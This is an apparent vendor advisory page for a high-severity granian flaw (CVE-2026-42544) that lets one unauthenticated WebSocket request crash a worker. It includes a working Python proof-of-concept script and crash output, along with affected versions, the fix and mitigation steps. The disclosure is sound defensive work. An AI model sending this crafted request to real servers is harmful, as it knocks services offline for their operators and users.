CVE-2026-42544 — granian
HIGHCVE-2026-42544 is a high-severity (CVSS 7.5) Improper Input Validation vulnerability in granian. A fix is available for granian — see the affected versions and patch details below.
Granian: Unauthenticated DoS via WebSocket subprotocol header panic
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42544.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-42544 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
granianReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.
The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.
This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.
Details
HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.
In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.
PoC
Step 1.
starts a Granian ASGI server
# app.py
async def app(scope, receive, send):
if scope["type"] == "websocket":
await receive()
await send({"type": "websocket.accept"})
return
await send({"type": "http.response.start", "status": 200, "headers": []})
await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000
Step 2.
sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.
# ws-subproto-crash.py
import base64, os, socket, sys
host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"
with socket.create_connection((host, port), timeout=5) as s:
s.sendall(req)
print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /
Observed server output:
thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian
Impact
- Unauthenticated remote denial of service
- One crafted request kills one worker
- The application is never reached, so application-level authentication or routing does not mitigate the issue
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | granian | ≥ 1.2.0&&< 2.7.4 | 2.7.4pip install --upgrade 'granian==2.7.4' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for granian, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update granian to 2.7.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-42544 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-42544 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-42544. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-42544 in your dependencies?
O3 Security finds CVE-2026-42544 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.